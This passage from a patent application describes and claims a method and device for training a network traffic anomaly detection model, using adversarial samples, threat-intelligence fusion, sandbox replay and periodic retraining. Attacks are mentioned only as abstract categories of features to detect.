[0305] Spatiotemporal characteristics: timestamp of the attack, duration, and IP addresses / ports of the assets involved (e.g., abnormal access to port 445 of the core server at 2 a.m.).

[0306] Threat intelligence fingerprints: associated malicious domains, file hashes, CVE numbers, etc. (such as the unique identifier of a vulnerability exploit code).

[0307] Behavior chain model: attack phase sequence (such as "vulnerability exploitation → privilege escalation → data exfiltration") and key operations in each phase (such as registry modification and encrypted file path).

[0308] Use a database or distributed storage system (such as Redis, Elasticsearch) to store the feature matrix in a structured format (such as JSON, CSV) for fast retrieval and call.

[0309] In the present application, for step S63, the historical attack features in the feature memory matrix are combined with the initial mixed data set (including normal traffic and known attack samples), and new training samples are generated through data enhancement technology (such as feature recombination and noise injection). For example, the "new DNS tunnel features" are mixed with "normal HTTPS traffic" to simulate adversarial samples. Set a fixed period (such as every day or every week) and use the updated data set to retrain the detection model. During the training process, the parameters related to the new features are optimized first (such as enhancing the recognition weight of the "new encryption protocol"). After the retraining is completed, the newly generated model parameters (such as neural network weights and classifier thresholds) are synchronized to each traffic monitoring node to replace the old model, thereby realizing a dynamic upgrade of the detection capability. Through the closed loop of "detection → memory → generation → retraining", the model can continuously learn new attack features to avoid detection failures caused by the evolution of attack variants.

[0310] In this application, the incremental model can intercept new attacks in real time after deployment, and combined with dynamically updated threat intelligence, shorten the time window from "attack discovery" to "defense effectiveness". The feature memory matrix integrates fragmented attack features into structured knowledge, which is not only convenient for subsequent model training, but also assists security personnel in analyzing attack trends (such as statistically analyzing high-frequency attack stage combinations). Through the feedback mechanism, the model can automatically adapt to changes in attack methods. For example, when the attacker adjusts the encryption algorithm, the newly generated data set will contain the algorithm features, forcing the model to learn and optimize the detection logic. Periodic retraining enables the model to gradually cover "missed new attacks" and "false positives of normal traffic", reducing the cost of manual intervention, while enhancing the defense capabilities against adversarial samples. This closed-loop mechanism upgrades the detection system from "passive response" to "active learning", forming a sustainably optimized security protection system, which is particularly suitable for network environments with strong adversarial nature and varied attack methods (such as industrial control networks and cloud platforms).

[0311] In summary, based on the processing flow described in step S6, in this application, the incremental detection model intercepts new attacks in real time after deployment, and continuously updates the detection logic by receiving the latest threat intelligence, shortening the time window from attack discovery to defense effectiveness.

[0312] This application provides a network traffic anomaly detection model training method, which can improve the detection accuracy, anti-interference ability and real-time defense response capability of the detection model against new attacks compared with the existing technology.

[0313] Specifically, the technical solution of this application includes at least the following beneficial effects:

[0314] (1) By integrating the routing interface status, subnet topology, and time-series traffic characteristics (such as rate and port distribution), a multi-dimensional dataset is constructed that includes spatial correlation (cross-subnet sessions) and time series, restoring the real network baseline and avoiding the one-sidedness of single IP / port detection. By extracting application layer payload sequences (such as HTTP request paths and database instructions) through protocol reorganization, the system breaks through the limitations of traditional network layer detection and accurately identifies hidden attacks (such as malicious instructions in normal protocols). Based on the attack freshness and intelligence confidence attenuation mechanism, the system automatically increases the weight of new threat features (such as zero-day vulnerabilities), suppresses the interference of outdated features, and focuses on current high-risk attacks.

[0315] (2) The value of assets such as core servers is embedded in the feature encoder to prioritize the detection of abnormal access to high-value assets, thereby improving the business relevance of detection and response priority. Traffic statistics, threat intelligence, and asset correlation are integrated to form multi-level features to solve the problem of single-dimensional underreporting (such as attacks with only traffic anomalies but no intelligence matching).

[0316] (3) The sandbox dynamically replays and decrypts TLS traffic, extracts plaintext malicious features (such as remote control communication), solves the "black box" problem of encrypted traffic, and enhances the ability to detect APT / C2 attacks. Matching the lateral movement behavior chain (such as vulnerability exploitation → privilege escalation) not only identifies the existence of the attack, but also locates the stage (such as intranet penetration) and guides layered defense (such as blocking key sessions). Based on behavior chain analysis, it distinguishes "normal high entropy traffic" from attacks, "attempts" from "successes", reduces false alarm rates and improves annotation quality. The dual-channel loss function prioritizes optimization of high-confidence samples (such as authoritative intelligence-related attacks), stably detects known risks, and reduces manual verification costs. The feature extractor updates at a low frequency to resist noise, and the classifier responds to new features at a high frequency, balancing model stability and agility. The incremental model is deployed in real time to intercept new attacks, combined with continuous updates of threat intelligence, forming a "detection-learning-defense" closed loop, shortening the response to minutes, and accelerating the learning of similar attacks through historical feature memory.

[0317] It should be understood that, although the various steps in the flowcharts of the above embodiments are shown in sequence as indicated by the arrows, these steps are not necessarily performed in the order indicated by the arrows. Unless otherwise specified herein, there is no strict order restriction on the execution of these steps, and they may be performed in other orders. Moreover, at least a portion of the steps in the figure may include multiple sub-steps or multiple stages, and these sub-steps or stages are not necessarily performed at the same time, but may be performed at different times, and their execution order is not necessarily sequential, but may be performed in turn or alternately with other steps or at least a portion of sub-steps or stages of other steps.

[0318] Figure 3 A schematic diagram of a network traffic anomaly detection model training device provided in an embodiment of the present application, such as Figure 3 As shown, the present application provides a network traffic anomaly detection model training device, the device comprising:

[0319] A data modeling module 11 is configured to extract traffic statistical feature vectors based on original network traffic data to generate an initial mixed data set;

[0320] a protocol parsing module 12, configured to generate an adversarial perturbation sample based on the initial mixed data set, fuse normal traffic, known attack traffic, and the adversarial perturbation sample in a dynamic time series ratio, and output an enhanced feature matrix;

[0321] A feature fusion module 13 is configured to construct an adaptive feature fusion rule based on the enhanced feature matrix, embed the asset correlation parameter into the attention calculation layer of the feature encoder, and output the encoded features of the fused threat intelligence;

[0322] a sandbox analysis module 14 configured to input the encoded features of the fused threat intelligence into a pre-built initial detection model, generate false positive and false negative correction labels based on suspicious traffic segments, and output a correction dataset of adversarial samples;

[0323] The adversarial training module 15 is configured to perform adversarial training on the initial detection model using the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection.

[0324] Figure 4 Another schematic diagram of the network traffic anomaly detection model training device provided in an embodiment of the present application is as follows Figure 4 As shown, the device also includes:

[0325] The closed-loop evolution module 16 is configured to deploy the incremental detection model to a network traffic monitoring node, receive new attack feature vectors and an updated threat intelligence feature library, and construct a feature memory matrix of historical attack patterns, and feed the feature memory matrix back to the initial mixed data set generation process to form a dynamic adversarial training closed loop.

[0326] Regarding the limitations on the network traffic anomaly detection model training device, please refer to the limitations on the network traffic anomaly detection model training method in the above embodiments of this application, which will not be repeated in this embodiment.

[0327] Figure 5 Another schematic diagram of the network traffic anomaly detection model training device provided in an embodiment of the present application is as follows Figure 5 As shown, the device includes a memory 22 and a processor 21, the memory stores a computer program, and the processor is configured to run the computer program to execute the methods in the above embodiments of the present application.

[0328] The memory is connected to the processor, the memory may be a flash memory, a read-only memory or other memory, and the processor may be a central processing unit or a single-chip microcomputer.

[0329] In some embodiments, the present application provides a computer-readable storage medium having a computer program stored thereon. When the computer program is executed by a processor, the methods in the above embodiments of the present application are implemented.

[0330] The computer-readable storage medium includes volatile or non-volatile, removable or non-removable media implemented in any method or technology for storing information (such as computer-readable instructions, data structures, computer program modules or other data). Computer-readable storage media include, but are not limited to, RAM (Random Access Memory), ROM (Read-Only Memory), EEPROM (Electrically Erasable Programmable read only memory), flash memory or other memory technology, CD-ROM (Compact Disc Read-Only Memory), digital versatile disks (DVD) or other optical disk storage, magnetic cassettes, magnetic tape, magnetic disk storage or other magnetic storage devices, or any other medium that can be used to store the desired information and can be accessed by a computer.

[0331] It is understood that the above embodiments are merely exemplary embodiments for illustrating the principles of the present application, and the present application is not limited thereto. Those skilled in the art may make various modifications and improvements without departing from the spirit and substance of the present application, and such modifications and improvements are also considered to be within the scope of protection of the present application.

Claims

1. A network traffic anomaly detection model training method, characterized in that: The method comprises: S1, extracting traffic statistical feature vectors based on the original network traffic data to generate an initial mixed data set; S2. Generate an adversarial perturbation sample based on the initial mixed data set, fuse normal traffic, known attack traffic, and the adversarial perturbation sample in a dynamic time series ratio, and output an enhanced feature matrix; S3. Constructing an adaptive feature fusion rule based on the enhanced feature matrix, embedding the asset correlation parameter into the attention calculation layer of the feature encoder, and outputting the encoded features of the fused threat intelligence; S4. Input the encoded features of the fused threat intelligence into a pre-built initial detection model, generate false positive and false negative correction labels based on suspicious traffic segments, and output an adversarial sample correction dataset; S5. Perform adversarial training on the initial detection model using the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection.

2. The network traffic anomaly detection model training method according to claim 1, characterized in that: S1, including: S11. Obtaining original network traffic data and dividing the original network traffic data into segments of fixed length based on a sliding time window, wherein a real-time status matrix of a routing device interface is synchronously parsed within each time window; S12. Correlate subnet session topology relationships based on the real-time state matrix and extract the hop count and path delay of cross-device sessions within the subnet; S13. Based on the hop count and path delay of cross-device sessions within the subnet, multi-dimensional statistical features are extracted from the traffic segments within each time window. Combined with the binary entropy features of the packet payload and the session context metadata, an initial hybrid dataset containing raw network traffic data, topology status indicators, and cross-protocol behavior associations is generated.

3. The network traffic anomaly detection model training method according to claim 2, characterized in that: Include at least one of the following: The real-time status matrix includes at least one of the bandwidth utilization, packet loss rate, cyclic redundancy check (CRC) error rate and interface traffic direction of the interface; The subnet session topology relationship includes at least one of a source-destination Internet Protocol (IP) mapping, a protocol type, a session duration, and a session state; The multi-dimensional statistical features include at least one of the skewness and kurtosis of data packet length distribution, protocol distribution entropy value, exponential smoothing value of traffic burst intensity, and cosine similarity of cross-protocol session correlation.

4. The network traffic anomaly detection model training method according to claim 1, characterized in that: S2, including: S21, performing protocol parsing and reorganization on the initial mixed data set to construct a session flow with complete application layer semantics; S22: Based on the semantically complete conversation flow at the application layer, extract the contextual behavior sequence of the application layer payload, generate the behavior semantic vector, and use the multi-head attention mechanism to focus on high-frequency abnormal behavior segments; S23, perturb the normal traffic feature vector based on the behavior semantic vector to generate an adversarial perturbation sample; S24. Based on the real-time attack alarm frequency and historical attack distribution of high-frequency abnormal behavior segments, determine the fusion weights of normal traffic, known attack traffic, and adversarial samples, and map the normal traffic, known attack traffic, and adversarial samples to a unified feature space according to the determined weights to generate fused features; S25. Perform noise reduction and spatiotemporal correlation analysis on the fused features to extract the periodic pattern of traffic in the time dimension and the protocol interaction dependency in the spatial dimension, and output the enhanced feature matrix of spatiotemporal correlation.

5. The network traffic anomaly detection model training method according to claim 4, characterized in that: Include at least one of the following: The reconstructed content includes at least one of a Hypertext Transfer Protocol (HTTP) header and payload, a Domain Name System (DNS) query response message, and a Transport Layer Security (TLS) / Secure Sockets Layer (SSL) handshake protocol field; The context behavior sequence of the application layer payload includes at least one of the jump mode of the HTTP request path, the DNS domain name generation algorithm characteristics, and the TLS certificate chain anomaly; Based on the behavior semantic vector, the fast gradient sign method is used to impose perturbations on the normal traffic feature vector, where the perturbation intensity is dynamically adjusted according to the current network baseline traffic fluctuation rate.

6. The network traffic anomaly detection model training method according to claim 1, characterized in that: S3, including: S31. Match vulnerability fingerprint features from a real-time threat intelligence library according to the enhanced feature matrix; S32. Determine the freshness index of the attack pattern based on the vulnerability fingerprint characteristics, and dynamically downgrade intelligence that exceeds the preset time limit; S33. Generate dynamic intelligence confidence parameters based on vulnerability fingerprint characteristics and freshness indicators, combined with intelligence source credibility and vulnerability verification status; S34. Based on the freshness index and confidence parameter, an adaptive feature fusion rule is constructed, and the enhanced feature matrix and threat intelligence features are multimodally aligned and normalized by weighted Euclidean distance to generate multi-source threat context features. S35. Based on multi-source threat context features, the asset correlation parameters are embedded in the multi-head attention mechanism of the feature encoder. The traffic feature aggregation strength of priority assets is dynamically allocated through the attention mechanism, and the encoding features that integrate real-time threat intelligence, asset context and spatiotemporal traffic features are output.

7. The network traffic anomaly detection model training method according to claim 6, characterized in that: Include at least one of the following: The vulnerability fingerprint feature includes at least one of a vulnerability exploitation code snippet associated with a Common Vulnerability Exposure (CVE) number, an attack chain stage identifier, and a process behavior pattern of a compromised host; The asset relevance parameter is dynamically determined based on asset type, business criticality, and historical compromise records.

8. The network traffic anomaly detection model training method according to claim 1, characterized in that: S4, including: S41. Based on the coding features of the fused threat intelligence, an initial detection model is constructed, and the coding features are input into the initial detection model to generate an attack probability prediction result for the traffic segment; S42. Based on the attack probability prediction results of the traffic segments, determine suspicious traffic segments whose attack probability exceeds a preset value, and import the suspicious traffic segments into the sandbox environment for dynamic replay; S43. Analyze the encrypted traffic in the sandbox environment to obtain decrypted traffic characteristics; S44. Based on the decrypted traffic characteristics, match the typical pattern of the lateral movement behavior chain and obtain the stage integrity result of the matched behavior chain; S45, comparing the integrity result of the matched behavior chain stage with the attack probability prediction result of the traffic segment to generate a correction label; S46. Generate an adversarial sample correction dataset containing spatiotemporal features, threat intelligence, and behavior chain context based on the correction labels and adversarial perturbation samples.

9. The network traffic anomaly detection model training method according to claim 8, characterized in that: Include at least one of the following: Parsing encrypted traffic includes at least one of decrypting a TLS / SSL session and extracting a sensitive sequence of operations in an encrypted payload; The typical pattern of the lateral movement behavior chain includes at least one of an initial intrusion stage, a lateral movement stage, and a data exfiltration stage.

10. The network traffic anomaly detection model training method according to claim 1, characterized in that: S5, including: S51, constructing a dual-channel loss function based on the adversarial sample correction dataset; S52, parameter update strategy of dynamic decoupling feature extractor and classifier based on dual-channel loss function; S53. Iteratively optimize the detection model parameters through adversarial training, stop training when the rate of change of the dual-channel loss function is less than a preset threshold, and obtain the incremental detection model.

11. The network traffic anomaly detection model training method according to claim 10, characterized in that: The dual-channel loss function includes: Channel 1: Based on the confidence parameters of threat intelligence, adjust the priority of loss calculation for samples associated with verified threat intelligence according to the confidence ratio; Channel 2: Based on the integrity of the behavior chain verified by the sandbox, the calculation weight of the classification loss is adjusted for samples that contain complete attack chain stages.

12. The network traffic anomaly detection model training method according to any one of claims 1 to 11, characterized in that: Also includes: S6. Deploy the incremental detection model to the network traffic monitoring node, receive the new attack feature vector and the updated threat intelligence feature library, and build a feature memory matrix of the historical attack pattern. Feed the feature memory matrix back to the initial mixed data set generation process to form a dynamic adversarial training closed loop.

13. The network traffic anomaly detection model training method according to claim 12, characterized in that: S6, including: S61, deploying the incremental detection model to a network traffic monitoring node to receive new attack feature vectors and updated threat intelligence database content in real time; S62. Based on new attack feature vectors and updated content in the threat intelligence library, a feature memory matrix of historical attack patterns is constructed, and spatiotemporal features, threat intelligence fingerprints, and behavior chain patterns are stored by attack type. S63. Feed the feature memory matrix back to the initial mixed data set generation process, and realize the dynamic adversarial training closed loop by periodically retraining and updating the detection model parameters.

14. A network traffic anomaly detection model training device, characterized in that: The device comprises: a data modeling module configured to extract traffic statistical feature vectors based on the original network traffic data to generate an initial mixed data set; a protocol parsing module configured to generate an adversarial perturbation sample based on the initial mixed data set, fuse normal traffic, known attack traffic, and the adversarial perturbation sample in a dynamic time series ratio, and output an enhanced feature matrix; a feature fusion module configured to construct an adaptive feature fusion rule based on the enhanced feature matrix, embed the asset association parameter into the attention calculation layer of the feature encoder, and output the encoded features of the fused threat intelligence; a sandbox analysis module configured to input the encoded features of the fused threat intelligence into a pre-built initial detection model, generate false positive and false negative correction labels based on suspicious traffic segments, and output a correction dataset of adversarial samples; The adversarial training module is configured to perform adversarial training on the initial detection model using the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection.

15. The network traffic anomaly detection model training device according to claim 14, characterized in that: Also includes: A closed-loop evolution module is configured to deploy the incremental detection model to a network traffic monitoring node, receive new attack feature vectors and an updated threat intelligence feature library, and construct a feature memory matrix of historical attack patterns. The feature memory matrix is ​​fed back to the initial mixed data set generation process to form a dynamic adversarial training closed loop.

16. A network traffic anomaly detection model training device, characterized in that: The method comprises a memory and a processor, wherein the memory stores a computer program, and the processor is configured to run the computer program to implement the network traffic anomaly detection model training method according to any one of claims 1 to 13.

17. A computer-readable storage medium, characterized in that The computer-readable storage medium stores a computer program, which, when executed by a processor, implements the network traffic anomaly detection model training method according to any one of claims 1 to 13.

Images